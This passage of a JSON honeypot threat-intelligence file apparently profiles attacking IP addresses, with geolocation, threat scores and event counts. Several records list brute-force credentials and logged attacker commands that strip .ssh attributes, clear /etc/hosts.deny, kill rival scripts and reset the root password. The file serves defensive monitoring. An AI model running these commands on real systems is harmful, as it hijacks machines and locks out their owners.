      "city": "Belgrade",
      "asn": 31042,
      "as_org": "Serbia BroadBand-Srpske Kablovske mreze d.o.o.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:22:06.942000+00:00",
        "last_seen_30d": "2026-05-08T08:23:24.354000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.233.91.175": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:50:48.524Z",
      "last_seen": "2026-05-07T11:51:05.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:50:48.524000+00:00",
        "last_seen_30d": "2026-05-07T11:52:55.386000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.152.163.82": {
      "attack_count": 2,
      "first_seen": "2026-05-30T22:37:13.300Z",
      "last_seen": "2026-05-30T22:37:26.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T22:37:13.300000+00:00",
        "last_seen_30d": "2026-05-30T22:38:29.795000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.61.99.238": {
      "attack_count": 2,
      "first_seen": "2026-05-02T22:39:01.653Z",
      "last_seen": "2026-05-02T22:41:01.655Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 53153,
      "as_org": "CINTE Telecom Comercio e Servicos Ltda.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:39:01.653000+00:00",
        "last_seen_30d": "2026-05-02T22:42:09.235000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.151.111.93": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:39:02.850Z",
      "last_seen": "2026-05-07T01:39:16.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Nogales",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:39:02.850000+00:00",
        "last_seen_30d": "2026-05-07T01:40:18.483000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "210.212.28.129": {
      "attack_count": 2,
      "first_seen": "2026-05-04T08:22:42.277Z",
      "last_seen": "2026-05-04T08:22:55.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rourkela",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T08:22:42.277000+00:00",
        "last_seen_30d": "2026-05-04T08:23:57.856000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.48.217.170": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:09:55.322Z",
      "last_seen": "2026-05-07T11:10:08.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:09:55.322000+00:00",
        "last_seen_30d": "2026-05-07T11:11:15.172000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "216.10.216.40": {
      "attack_count": 2,
      "first_seen": "2026-05-21T02:00:37.120Z",
      "last_seen": "2026-05-21T02:00:49.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:00:37.120000+00:00",
        "last_seen_30d": "2026-05-21T02:01:52.907000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.26.20.169": {
      "attack_count": 2,
      "first_seen": "2026-05-11T11:49:39.567Z",
      "last_seen": "2026-05-11T11:49:54.311Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Afghanistan",
      "country_code": "AF",
      "city": "Kabul",
      "asn": 135298,
      "as_org": "Ankabut Internet Service Provider",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T11:49:39.567000+00:00",
        "last_seen_30d": "2026-05-11T11:51:00.998000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.59.127.137": {
      "attack_count": 2,
      "first_seen": "2026-05-07T18:50:42.663Z",
      "last_seen": "2026-05-07T18:50:55.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:50:42.663000+00:00",
        "last_seen_30d": "2026-05-07T18:52:04.090000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.195.94.197": {
      "attack_count": 2,
      "first_seen": "2026-05-07T18:09:49.388Z",
      "last_seen": "2026-05-07T18:10:01.921Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 272951,
      "as_org": "INTERCOM SERVICIOS C.A",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:09:49.388000+00:00",
        "last_seen_30d": "2026-05-07T18:11:03.657000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.70.9.133": {
      "attack_count": 2,
      "first_seen": "2026-05-12T22:41:28.715Z",
      "last_seen": "2026-05-12T22:43:28.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Pampa del Indio",
      "asn": 265817,
      "as_org": "Ruben Oscar MossoINTERZONA WIFI",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:41:28.715000+00:00",
        "last_seen_30d": "2026-05-12T22:54:11.519000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.163.144.31": {
      "attack_count": 2,
      "first_seen": "2026-05-23T17:19:38.300Z",
      "last_seen": "2026-05-23T17:21:38.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yekaterinburg",
      "asn": 28890,
      "as_org": "INSYS LLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:19:38.300000+00:00",
        "last_seen_30d": "2026-05-23T17:31:42.513000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.149.139.130": {
      "attack_count": 2,
      "first_seen": "2026-05-05T01:51:13.985Z",
      "last_seen": "2026-05-05T01:51:26.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Naga",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:51:13.985000+00:00",
        "last_seen_30d": "2026-05-05T01:52:36.304000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.36.180.38": {
      "attack_count": 2,
      "first_seen": "2026-05-10T04:54:31.134Z",
      "last_seen": "2026-05-10T04:56:31.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:54:31.134000+00:00",
        "last_seen_30d": "2026-05-10T05:03:09.236000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.59.231.133": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:57:17.061Z",
      "last_seen": "2026-05-11T15:57:28.929Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kyrgyzstan",
      "country_code": "KG",
      "city": "Bishkek",
      "asn": 207369,
      "as_org": "Skynet Telecom, LLC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:57:17.061000+00:00",
        "last_seen_30d": "2026-05-11T15:58:37.038000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.105.137": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:32:10.683Z",
      "last_seen": "2026-05-19T06:32:24.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:32:10.683000+00:00",
        "last_seen_30d": "2026-05-19T06:33:32.945000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "64.227.21.165": {
      "attack_count": 2,
      "first_seen": "2026-05-16T07:16:41.499Z",
      "last_seen": "2026-05-16T07:16:41.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T07:16:39+00:00",
        "last_seen_30d": "2026-05-16T07:28:24.984000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 8,
        "Cowrie": 2
      }
    },
    "71.6.232.29": {
      "attack_count": 2,
      "first_seen": "2026-05-25T13:24:50.524Z",
      "last_seen": "2026-05-25T13:24:58.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 25,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-04T16:07:26.102000+00:00",
        "last_seen_30d": "2026-05-28T02:59:46.297000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Honeytrap": 5,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "90.28.250.166": {
      "attack_count": 2,
      "first_seen": "2026-05-22T18:04:21.985Z",
      "last_seen": "2026-05-22T18:06:21.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Rennes",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:04:21.985000+00:00",
        "last_seen_30d": "2026-05-22T18:17:07.977000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "92.50.155.26": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:25:49.921Z",
      "last_seen": "2026-05-04T14:27:49.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 24955,
      "as_org": "JSC Ufanet",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:39:27.365000+00:00",
        "last_seen_30d": "2026-05-04T14:37:50.855000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "108.175.164.22": {
      "attack_count": 836,
      "first_seen": "2026-05-15T01:46:45.621Z",
      "last_seen": "2026-05-30T05:37:21.404Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "jflhi5za",
        "opc",
        "postgres",
        "shrvn6xd",
        "advance",
        "ahmed",
        "bitrix",
        "claude",
        "cristian",
        "dino",
        "dmdba",
        "jcon0r73",
        "jellyfin",
        "jeon",
        "kafka",
        "libvirt",
        "linux"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "linux123",
        "qq123123",
        "111111",
        "1234",
        "12345",
        "123456a@",
        "123456mm",
        "1234Qwer",
        "123Qwe123C",
        "19900101",
        "321123",
        "8.5vHtXSSViFDvKi+TB.",
        "900301",
        "Abcde.12345",
        "Admin1234!@#$",
        "Dr123456",
        "Huawei@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nFWmZ8voWvU9P\\nFWmZ8voWvU9P\\n\"|passwd",
        "echo \"KZ+1E0C~_qz+E2wt64ko\\nR27StNnGP7IO\\nR27StNnGP7IO\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\nQibSTE0MXjS7\\nQibSTE0MXjS7\\n\"|passwd",
        "echo \"root:SHVhUXimdmNj\"|chpasswd|bash",
        "echo \"root:Zm4cDk4uCvVu\"|chpasswd|bash",
        "echo \"root:p9UYYKyO1q3P\"|chpasswd|bash",
        "echo -e \"1234\\nFWmZ8voWvU9P\\nFWmZ8voWvU9P\"|passwd|bash",
        "echo -e \"KZ+1E0C~_qz+E2wt64ko\\nR27StNnGP7IO\\nR27StNnGP7IO\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\nQibSTE0MXjS7\\nQibSTE0MXjS7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 55081,
      "as_org": "24 SHELLS",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1052,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:46:45.621000+00:00",
        "last_seen_30d": "2026-05-30T05:38:29.621000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 836,
        "Suricata": 216
      }
    },
    "177.39.120.200": {
      "attack_count": 723,
      "first_seen": "2026-05-15T05:57:00.855Z",
      "last_seen": "2026-05-18T23:31:16.227Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "systemd-sync",
        "...",
        "claude",
        "dbus-helper",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "10261026",
        "1928",
        "1q2w3e!@",
        "1q2w3e$R%T^Y",
        "2064",
        "ADMIN123",
        "Albert",
        "Kermit123@",
        "Lhx123456",
        "Password2014",
        "Qq123456",
        "a1d2m3i4n5",
        "adonix",
        "argo",
        "bingo123",
        "botpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\n5COXe6xIacum\\n5COXe6xIacum\\n\"|passwd",
        "echo \"root:08kodDaQg708\"|chpasswd|bash",
        "echo \"root:3YGqNfDemrTk\"|chpasswd|bash",
        "echo \"root:DD61hAKI2Stb\"|chpasswd|bash",
        "echo \"root:T9756CdZbch1\"|chpasswd|bash",
        "echo \"root:qjkzVxXHlxMy\"|chpasswd|bash",
        "echo \"warnight\\nVc1KvIxaNzeK\\nVc1KvIxaNzeK\\n\"|passwd",
        "echo -e \"linux123\\n5COXe6xIacum\\n5COXe6xIacum\"|passwd|bash",
        "echo -e \"warnight\\nVc1KvIxaNzeK\\nVc1KvIxaNzeK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 52765,
      "as_org": "MAXXNET TELECOM",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 872,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:57:00.855000+00:00",
        "last_seen_30d": "2026-05-18T23:32:21.867000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 723,
        "Suricata": 149
      }
    },
    "201.16.238.49": {
      "attack_count": 474,
      "first_seen": "2026-05-06T01:44:50.643Z",
      "last_seen": "2026-05-10T14:57:50.610Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "345gs5662d34",
        "root",
        "test",
        "user",
        "deploy",
        "gameserver",
        "postgres",
        "admin1",
        "alireza",
        "anne",
        "arkserver",
        "catuser",
        "es",
        "factorioserver",
        "ftptest",
        "ftpuser",
        "git",
        "kafka"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "1234",
        "0000",
        "11111",
        "1111111",
        "11111111",
        "121212",
        "12345678",
        "123456789",
        "141414",
        "1qaz$2wsx",
        "1z2x3c4v5",
        "20002000",
        "P@$$word",
        "P@ssw0rd",
        "P@ssw0rd.1",
        "P@ssw0rd22"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
